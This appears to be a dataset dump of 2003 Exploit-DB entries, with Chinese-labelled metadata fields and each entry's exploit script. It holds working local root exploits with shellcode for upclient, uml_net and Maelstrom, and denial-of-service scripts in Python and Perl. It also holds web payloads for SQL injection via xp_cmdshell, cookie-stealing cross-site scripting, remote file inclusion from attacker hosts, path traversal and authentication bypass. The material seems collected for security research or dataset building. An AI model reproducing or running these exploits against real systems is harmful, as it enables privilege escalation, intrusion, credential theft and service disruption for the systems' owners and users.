QLWD/code_shield huggingface dataset:
标题: Upclient 5.0 b7 - Command Line Argument Buffer Overflow EDB-ID: 22661 CVE: 2003-0408 类型: LOCAL 平台: FREEBSD 发布日期: 2003-05-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/7703/info

upclient has been reported prone to a buffer overflow vulnerability when handling command line arguments of excessive length.

It is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of upclient. Typically setuid kmem.

An attacker may harness elevated privileges obtained in this way to manipulate arbitrary areas in system memory through /dev/mem or /dev/kmem devices.

/*
*
* NuxAcid - UPCLIENT Local Buffer Overflow Exploit
* written on/for FreeBSD
* tested against UpClient 5.0b7 on FreeBSD 4.8
* for FreeBSD 5.x the code has to be tweaked
* other versions may be vulnerable too
*
* 2003 by Gino Thomas, http://www.nux-acid.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFERSIZE 1022


unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
  char buffer[BUFFERSIZE] = "";

//FreeBSD exec/setuid Shellcode
static char shellcode[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

memset(buffer, 0x90 ,sizeof(buffer));
*(long *)&buffer[BUFFERSIZE - 4] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 8] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 16] = 0xbfbffb21;
memcpy(buffer + BUFFERSIZE - 16 - strlen(shellcode), shellcode, strlen(shellcode));

execl("/usr/local/sbin/upclient","upclient", "-p", buffer, NULL);
return 0;
} URL: https://www.exploit-db.com/exploits/22661
标题: BLNews 2.1.3 - Remote File Inclusion EDB-ID: 22641 CVE: 2003-0394 类型: WEBAPPS 平台: PHP 发布日期: 2003-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/7677/info

It has been reported that BLNews is prone to a remote file include vulnerability. This is due to the incorrection initilization of some PHP headers within the application. As a result, an attacker may be capable of executing arbitrary PHP commands within the context of the web server.

This vulnerability is said to affect BLNews version 2.1.3-beta, however other versions may also be affected. 

http://www.example.org/admin/objects.inc.php4?Server=http://www.attacker.org URL: https://www.exploit-db.com/exploits/22641
标题: Vignette 4.x/5.0 - Memory Disclosure EDB-ID: 22646 CVE: 2003-0400 类型: REMOTE 平台: UNIX 发布日期: 2003-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/7684/info

Vignette is prone to an issue which may expose the contents of memory to remote attackers. This condition is due to a flaw in how StoryServer calculates the size of certain characters in URI variables, which may cause data from adjacent memory to be returned to the remote attacker in the response.

This issue was reported for Vignette on IBM AIX. Other platforms may also be affected, though this has not been confirmed. The issue affects some of the default templates provided with Vignette.

http://www.example.com/vgn/login/1,501,,00.html?cookieName=x--\> URL: https://www.exploit-db.com/exploits/22646
标题: Ultimate PHP Board 1.9 - 'admin_iplog.php' Arbitrary PHP Execution EDB-ID: 22642 CVE: 2003-0395 类型: WEBAPPS 平台: PHP 发布日期: 2003-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/7678/info

A vulnerability has been reported in Ultimate PHP Board. The problem is said to occur due to insufficient sanitization of user-supplied input before including log data into a PHP file. As a result, it may be possible for a remote attacker to execute arbitrary PHP commands within the context of the web server. The execution of these commands would only occur when an administrator chooses to view the log of forum activity via the 'admin_iplog.php' script. 

$ telnet www.target.org 80
Connected to www.target.org at 80
GET /board/index.php HTTP/1.0
User-Agent: <? phpinfo(); ?> URL: https://www.exploit-db.com/exploits/22642
标题: IISProtect 2.1/2.2 - Web Administration Interface SQL Injection EDB-ID: 22639 CVE: 2003-0377 类型: WEBAPPS 平台: ASP 发布日期: 2003-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/7675/info

The IISProtect web administration interface does not properly sanitize user input. This could allow for SQL injection attacks on a Microsoft IIS server running IISProtect.

Successful exploitation could result in a compromise of the IISProtect server, attacks on the database or other consequences. 

http://www.example.com/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20maste
r..xp_cmdshell'ping%2010.10.10.11';--

This example invokes the 'xp_cmdshell' stored procedure to execute the ping command on the host operating system. URL: https://www.exploit-db.com/exploits/22639
标题: Vignette 4/5 - Cross-Site Scripting EDB-ID: 22648 CVE: 2003-0404 类型: REMOTE 平台: UNIX 发布日期: 2003-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/7687/info

Vignette software has been reported prone to multiple cross-site scripting vulnerabilities.

Reportedly the issue presents itself, because the Vignette software does not sufficiently sanitize HTML characters from user-supplied data.

It may be possible for an attacker to supply and execute HTML and script code on a web client in the context of the site hosting the Vignette software. This may allow for theft of cookie-based authentication credentials and other attacks.

This issue was reported for Vignette StoryServer version 4 to version 6; it has been speculated that all current versions are vulnerable. 

https://www.example.com/Page/1,10966,,00.html?var=<script>alert('s21sec')</script>

http://www.example.com/vgn/login?errInfo="%2b%20document.cookie%20%2b" URL: https://www.exploit-db.com/exploits/22648
标题: BRS Webweaver 1.0 4 - POST / HEAD Denial of Service EDB-ID: 22650 CVE: 2003-0409 类型: DOS 平台: MULTIPLE 发布日期: 2003-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/7695/info

When WebWeaver receives unusually long POST or HEAD requests, a denial of service condition may result. Restarting WebWeaver will allow normal operation to resume.

This vulnerability was reported for WebWeaver 1.04. Earlier versions may also be vulnerable. 

}------- start of fadvWWhtdos.py ---------------{

#! /usr/bin/env python
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########

import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fadvWWhtdos.py ---------------{ URL: https://www.exploit-db.com/exploits/22650
标题: Prishtina FTP Client 1.x - Remote Denial of Service EDB-ID: 22637 CVE: 2003-0371 类型: DOS 平台: WINDOWS 发布日期: 2003-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/7671/info

Prishtina FTP client is allegedly prone to a denial of service vulnerability. The condition is reportedly triggered when processing FTP server banners of excessive length. As a result, a malicious attacker-controlled server may be used to crash a target users FTP client. 

#!/usr/bin/perl
use IO::Socket;
$host = "localhost";
$port = "21";
$server = IO::Socket::INET->new(LocalPort => $port, Type =>
SOCK_STREAM,
Reuse => 1, Listen => 2) or die "Couldn't create tcp-server.\n";
$data = "A";
$num = "50000";
$buf .= $data x $num;
while ($client = $server->accept()) {
 print "OK";
 print $client "$buf\n";
 close($client);
} URL: https://www.exploit-db.com/exploits/22637
标题: UML_NET - Integer Mismanagement Code Execution EDB-ID: 22640 CVE: 2003-0019 类型: LOCAL 平台: LINUX 发布日期: 2003-05-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/7676/info

A vulnerability has been discovered in uml_net. Due to integer mismanagement while handling version information, it may be possible for an attacker to execute arbitrary code. Specifically, by supplying a negative value within the version information it is possible to bypass various calculations and cause an invalid indexing into an array of functions. As a result, it is possible for an attacker to execute a function in an attacker-controlled location of memory.

Successful exploitation of this vulnerability would allow an attacker to execute arbitrary commands with the privileges of uml_net, possibly root. 

/*
  uml_net proof of concept exploit 
  
  Tested on: RH 8.0 with default uml_utilities from kernel-utils-2.4-8.13 
             RH 8.0 with binary from uml_utilities_20030312, uml_utilities_20020821
  It may work on other linux distributions 
  
  Author: ktha@hushmail.com
  Based on the bug that I found in uml_net.c on 23.05.2003
  
  Greets: M|G - no1 keep up the good work
     securitech guys, security-corp guys - thx for the challenges
     all of you who support me in real life 
  
*/


#include <stdio.h>

#define SHELL 0xbffffdd7
#define ROT -302068188

char *
gen (int pad)
{
  int i, size;
  char *p;
  char shellcode[] = "\x31\xc0" // xorl    %eax,%eax
    "\x31\xdb"   // xorl    %ebx,%ebx
    "\xb0\x17"   // movb    $0x17,%al
    "\xcd\x80"   // int     $0x80
    "\xeb\x18"   // jmp     end
        // start:
    "\x5e"   // popl    %esi
    "\x89\x76\x08"  // movl    %esi,0x8(%esi)
    "\x31\xc0"   // xorl    %eax,%eax
    "\x88\x46\x07"  // movb    %eax,0x7(%esi)
    "\x89\x46\x0c"  // movl    %eax,0xc(%esi)
    "\xb0\x0b"   // movb    $0xb,%al
    "\x89\xf3"   // movl    %esi,%ebx
    "\x8d\x4e\x08"  // leal    0x8(%esi),%ecx
    "\x8d\x56\x0c"  // leal    0xc(%esi),%edx
    "\xcd\x80"   // int     $0x80
        // end:
    "\xe8\xe3\xff\xff\xff" // call    start
    "\x2f\x62\x69\x6e\x2f\x73\x68"; // .string "/bin/sh"


  size = sizeof (shellcode);
  p = (char *) malloc (5000 + size + 1);
  memset (p, 0x90, 5000);
  for (i = 1; i < 1000; i++)
    *(int *) (p + 4 * i + pad) = SHELL;
  memcpy (p + 5000, shellcode, size + 1);
  *p = "SM00NY=";
  return p;
}

void
usage (char *sir)
{
  printf ("\nUsage: %s <UML_NET> [pad]\n\n", sir);
  printf ("Pad value: 0 - 3\nDefault: 0\n");
  printf ("\n");
}
main (int argc, char **argv)
{
  unsigned long pad = 0;
  int loop;
  char s[1000];
  char *nume[4], *pume[2];

  if (argc < 2)
    {
      usage (argv[0]);
      exit (0);
    }

  if (argv[2])
    pad = atoi (argv[2]);

  sprintf (s, "%d", ROT);

  nume[0] = argv[1];
  nume[1] = s;
  nume[2] = "add";
  nume[3] = NULL;

  pume[0] = gen (pad);
  pume[1] = NULL;

  printf ("Trying to exploit.... pad value: %d\n", pad);
  printf ("If you get a segfault, try to change the pad value !\n");

  execve (nume[0], nume, pume);
} URL: https://www.exploit-db.com/exploits/22640
标题: IISProtect 2.1/2.2 - Authentication Bypass EDB-ID: 22631 CVE: 2003-0317 类型: REMOTE 平台: WINDOWS 发布日期: 2003-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/7661/info


http://www.example.com/%70rotected/secret.html
http://www.example.com/protected%2fsecret.html URL: https://www.exploit-db.com/exploits/22631
标题: Apple QuickTime/Darwin Streaming MP3Broadcaster - ID3 Tag Handling EDB-ID: 22630 CVE: 2003-1091 类型: REMOTE 平台: OSX 发布日期: 2003-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/7660/info

MP3Broadcaster is shipped as part of Darwin Streaming Server software.

MP3Broadcaster has been reported prone to a vulnerability when processing malicious ID3 tags. This is likely due to insufficient sanity checks performed when handling signed integer values contained within MP3 file ID3 tags.

First create the sample configuration file:
$ echo -e "\n" > test.conf

Then create a playlist file:
$ echo -e "*PLAY-LIST*\nsong.mp3" > mp3playlist.ply

Create a specially crafted mp3 file:
$ echo -e
"ID3\x03\x00\x00\x00\x00\x0f\x0fTPE1\xff\xaa\xaa\xbb\x00\x00\x00\x00\x00\x00

" > song.mp3 URL: https://www.exploit-db.com/exploits/22630
标题: XMB Forum 1.8 - 'member.php' Cross-Site Scripting EDB-ID: 22632 CVE: 2003-0375 类型: WEBAPPS 平台: PHP 发布日期: 2003-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/7662/info

XMB Forum has been reported prone to a cross-site scripting vulnerability.

XMB Forum fails to adequately filter script code from URL parameters, making it prone to cross-site scripting attacks. Attacker-supplied script code may be included in a malicious link to a specific XMB Forum script.

This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users of a host running XMB Forum.

Note that although this vulnerability has been reported to affect XMB Forum 1.8, previous versions might also be affected. 

http://www.example.com/forum/member.php?action=viewpro&member=%3Cdiv%3E%3Cfont%20color=%22red%22%3EMarc%3C/font%3E%3Cscript%3Ealert(%22Ruef%22);%3C/script%3E%3C/div%3E URL: https://www.exploit-db.com/exploits/22632
标题: Nessus 2.0.x - LibNASL Arbitrary Code Execution EDB-ID: 22634 CVE: 2003-0372 类型: DOS 平台: MULTIPLE 发布日期: 2003-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/7664/info

Nessus has reported that various flaws have been discovered in the 'libnasl' library used by the Nessus application. As a result, a malicious NASL script may be able to break outside of the established sandbox environment and execute arbitrary commands on the local system.

Note that this malicious script must be a legitimate plugin that has been uploaded to the Nessus server. Furthermore, the affected Nessus application must have enabled the 'plugins_upload' option (which is disabled by default).

insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd);
scanner_add_port(port : 80, proto : crap(data:'A', length:300));
ftp_log_in (socket : open_sock_tcp(21), pass : "11", user:crap (data:'A',length:8192) ); URL: https://www.exploit-db.com/exploits/22634
标题: Axis Network Camera 2.x - HTTP Authentication Bypass EDB-ID: 22626 CVE: 2003-0240 类型: REMOTE 平台: HARDWARE 发布日期: 2003-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/7652/info

A vulnerability has been discovered in various Axis Communications products. By making a request for a specially formatted URL, it may be possible for remote users to access the administrative configuration interface without being prompted for authentication. 

http://camera-ip//admin/admin.shtml URL: https://www.exploit-db.com/exploits/22626
标题: WSMP3 0.0.x - Remote Command Execution EDB-ID: 22623 CVE: 2003-0338 类型: REMOTE 平台: LINUX 发布日期: 2003-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/7645/info

A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP POST requests. As a result, an attacker may be capable of executing arbitrary files on a target system. This may lead to the complete compromise of a target system. 

bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
POST /dir/../../../../../../bin/ps HTTP/1.0 URL: https://www.exploit-db.com/exploits/22623
标题: Working Resources BadBlue 1.7.x/2.x - Unauthorized HTS Access EDB-ID: 22620 CVE: 2003-0332 类型: REMOTE 平台: WINDOWS 发布日期: 2003-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/7638/info

BadBlue is prone to a vulnerability that could allow remote attackers to gain unauthorized access to administrative functions.

It is possible to bypass BadBlue security checks when '.hts' files are requested by a remote user. BadBlue restricts access to non-HTML files by replacing the first two letters in the file extension of a requested resource with 'ht'. If the third character of a file extension is 's', then it is possible to trick BadBlue into serving a non-HTML file with an extension of '.hts'. This will bypass other security checks which would normally prevent BadBlue from serving these files to remote users.

http://www.example.com/ext.dll?mfcisapicommand=loadpage&page=admin.ats&a0=add&a1=root&a2=%5C

This example will reveal the contents of the server's primary volume. URL: https://www.exploit-db.com/exploits/22620
标题: Maelstrom Server 3.0.x - Argument Buffer Overflow (1) EDB-ID: 22613 CVE: 2003-0325 类型: LOCAL 平台: FREEBSD 发布日期: 2003-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/7630/info

Maelstrom for Linux has been reported prone to a buffer overflow vulnerability.

The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space. It may be possible for a local attacker to exploit this condition and have malicious arbitrary code executed in the context of the Maelstrom application. Typically setGID games. 

#!/usr/bin/perl
# kokanin/DSR, gid games crap for /usr/ports/games/maelstrom -server bug
found by
# Luca Ercoli. This (ret/offset/shellcode) is made for FreeBSD 4.8-RELEASE.
# maelstrom-3.0.5     Asteroids-style game for X Window System
# shellcode by eSDee, he's cool. AV crap + .pl files + mailinglists ==
flooded mbox #¤%
$len = 1000;
$ret = pack("l",0xbfbffb7f);
$nop = "\x90";
$offset = 0;
$shellcode =    "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
                "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
                "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

for ($i = 0; $i < $len - length($shellcode); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
local($ENV{'EGG'}) = $buffer;
$cakeman = "1\@A" . $ret x 255 ;
exec("/usr/X11R6/bin/Maelstrom  -server $cakeman"); URL: https://www.exploit-db.com/exploits/22613
标题: CUPS 1.1.x - Cupsd Request Method Denial of Service EDB-ID: 22619 CVE: 2003-0195 类型: DOS 平台: LINUX 发布日期: 2003-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/7637/info

The cupsd has been reported prone to a denial of service vulnerability.

Reportedly the cupsd does not adequately apply a time-out process for malicious HTTP requests and service is denied to subsequent cupsd requests.

This issue may be exploited by remote attackers to deny cupsd service to valid users.

$ telnet <your_favorite_cups_server> ipp
POST /printers/<your_favorite_printer> HTTP/1.1

Don't enter the second carriage return to complete the headers, just the POST line and one carriage return. URL: https://www.exploit-db.com/exploits/22619
标题: Netscape Enterprise Server 3.x/4.x - PageServices Information Disclosure EDB-ID: 22611 CVE: 1999-0269 类型: REMOTE 平台: MULTIPLE 发布日期: 1998-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7621/info

A vulnerability has been reported for Netscape Enterprise Server. The problem is said to occur while processing HTTP queries containing the '?PageServices' URI parameter. After processing this query the affected server may disclose the contents of established web root, possibly including sub-directories. 


http://www.example.com/?PageServices URL: https://www.exploit-db.com/exploits/22611
标题: EZ Publish 2.2 - 'index.php' IMG Tag Cross-Site Scripting EDB-ID: 22607 CVE: 2003-0310 类型: WEBAPPS 平台: PHP 发布日期: 2003-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7616/info

A cross-site scripting vulnerability has been reported for eZ publish. Specifically, eZ publish does not sufficiently sanitize user-supplied input supplied to the 'index.php' script.

This may allow for theft of cookie-based authentication credentials and other attacks. 

http://www.example.com/index.php/article/articleview/<img%20src="javascript:alert(document.cookie)"> URL: https://www.exploit-db.com/exploits/22607
标题: Snowblind Web Server 1.0/1.1 - Malformed HTTP Request Denial of Service EDB-ID: 22608 CVE: 2003-0314 类型: DOS 平台: WINDOWS 发布日期: 2003-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7617/info

A denial of service vulnerability has been reported for Snowblind. The vulnerability will cause the web server to crash when processing a malformed HTTP request. 

http://localhost/</ URL: https://www.exploit-db.com/exploits/22608
标题: ttCMS 2.2/2.3 - 'header.php' Remote File Inclusion EDB-ID: 22612 CVE: 2003-0320 类型: WEBAPPS 平台: PHP 发布日期: 2003-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/7625/info

A remote file include vulnerability has been reported for ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'header.php' script, it is possible for a remote attacker to include a malicious PHP file in a URL. 

http://target/admin/templates/header.php?admin_root=http://attacker/ URL: https://www.exploit-db.com/exploits/22612
标题: Snowblind Web Server 1.0/1.1 - GET Buffer Overflow EDB-ID: 22610 CVE: 2003-0315 类型: DOS 平台: WINDOWS 发布日期: 2003-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7619/info

Snowblind Web Server has been reported prone to a buffer overflow vulnerability. The vulnerability exists when the web server attempts to process HTTP requests of excessive length.

Although unconfirmed, this vulnerability may be exploited to execute attacker-supplied code with the privileges of the vulnerable web server. 

GET /fff[ x 129 ]ffff HTTP/1.0 URL: https://www.exploit-db.com/exploits/22610
标题: Snowblind 1.0/1.1 - Web Server File Disclosure EDB-ID: 22609 CVE: 2003-0312 类型: REMOTE 平台: WINDOWS 发布日期: 2003-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7618/info

It has been announced that Snowblind Web Server is vulnerable to a condition that may result in the disclosure of potentially sensitive information.

According to the report, Snowblind Web Server does not perform correct access validation on client requested paths which include "../" character sequences.

http://www.example.com/../../windows/system.ini
http://www.example.com/internal.sws?../../windows/system.ini URL: https://www.exploit-db.com/exploits/22609
标题: Maelstrom Server 3.0.x - Argument Buffer Overflow (2) EDB-ID: 22614 CVE: 2003-0325 类型: LOCAL 平台: FREEBSD 发布日期: 2003-05-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/7630/info
 
Maelstrom for Linux has been reported prone to a buffer overflow vulnerability.
 
The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space. It may be possible for a local attacker to exploit this condition and have malicious arbitrary code executed in the context of the Maelstrom application. Typically setGID games. 

/*  /usr/bin/Maelstrom local exploit
*** Sorry for my poor english.
*** Others exploit can't exploit my Maelstrom,So I
wrote this exploit just for fun.
*** I can't get a rootshell on my linux ,because it's
not SUID.
*** If it SUID ,this exploit can make you get a rootshell.
*** Tested on redhat9.0 ,other linux maybe OK,too.
***
*** Thanks netric's good paper.
*** You can downlocd it here
http://www.netric.org/papers/envpaper.pdf
*** This paper make me write this exploit don't need to
guess ret.
*** Thanks jsk and axis for their help.
***
*** CONTACT:OYXin@ph4nt0m.net
*** COPYRIGHT (c) 2003 PH4NT0M SECURITY
*** http://www.ph4nt0m.net
*** 2003.5.23

Coded by OYXin(ph4nt0m)
Welcome to http://www.ph4nt0m.net

*/
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

#define  bufsize 8179

/*  linux x86 shellcode by bob from dtors.net,23
bytes,thx them.  */
static char shellcode[] =



   "\x31\xdb"
    "\x89\xd8"
    "\xb0\x17"
    "\xcd\x80"
    "\x31\xdb"
    "\x89\xd8"
    "\xb0\x17"
    "\xcd\x80"
    "\x31\xdb"
    "\x89\xd8"
    "\xb0\x2e"
    "\xcd\x80"
    "\x31\xc0"
    "\x50"
    "\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x31\xd2"
    "\xb0\x0b"
    "\xcd\x80"
     "\x31\xdb"
    "\x89\xd8"
    "\xb0\x01"
    "\xcd\x80";

int main(int argc,char *argv[]){
    char buf[bufsize+1];
    char*prog[]={"/usr/bin/Maelstrom","-server",buf,NULL};
    char  *env[]={"HOME=/root",shellcode,NULL};
    unsigned long ret;


    ret=0xc0000000-sizeof(void*)-strlen(prog[0])-strlen(shellcode)-0x02;

    memset(buf, 0x90, bufsize);
    memset(buf,0x32,sizeof("1"));
    memset(buf+1,0x40,sizeof("1"));
    memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(2*sizeof(ret))], &ret,sizeof(ret));

    memcpy(&buf[bufsize-(3*sizeof(ret))], &ret,sizeof(ret));

    memcpy(&buf[bufsize-(4*sizeof(ret))], &ret,sizeof(ret));
    buf[bufsize] = '\0';

    execve(prog[0],prog,env);

    return  0;
} URL: https://www.exploit-db.com/exploits/22614